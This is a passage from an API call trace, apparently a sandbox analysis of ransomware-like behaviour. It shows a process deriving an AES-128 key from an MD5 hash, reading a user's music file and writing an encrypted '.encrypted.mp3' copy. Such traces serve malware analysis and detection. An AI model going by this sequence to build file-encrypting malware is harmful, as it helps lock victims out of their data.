lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.471] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.471] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.471] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.471] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.471] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.471] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.471] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.471] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.472] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.472] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.472] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b8a0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.472] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.472] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.472] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.472] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.472] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.472] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.472] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.472] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0027.473] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.474] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.474] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.474] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.474] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.474] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vuBvaJ.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\vubvaj.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.474] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.474] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.474] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.474] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.474] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.475] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.475] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vuBvaJ.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\vubvaj.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.475] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.475] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.475] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.475] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.476] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.477] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x58e9, lpOverlapped=0x0) returned 1 [0027.477] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.479] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.479] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.479] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.479] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.479] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.480] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.480] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.480] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.480] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.480] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.480] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.481] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.481] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064bf0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064bf0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.481] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.481] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.481] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.481] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.481] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.482] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.482] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x58e9, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x58f0) returned 1 [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.482] CharLowerBuffW (in: lpsz="byte[22769]", cchLength=0xb | out: lpsz="byte[22769]") returned 0xb [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.482] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.482] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.482] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4385230*, pdwDataLen=0xe8f3dfdf68*=0x58e9, dwBufLen=0x58f0 | out: pbData=0xe8f4385230*, pdwDataLen=0xe8f3dfdf68*=0x58f0) returned 1 [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.483] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.483] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.483] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.483] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.483] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.483] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.483] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.483] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.483] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.483] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.483] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.484] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.484] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.484] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.485] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.485] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.485] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.485] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.485] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.485] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.485] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.485] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0027.485] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.485] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, 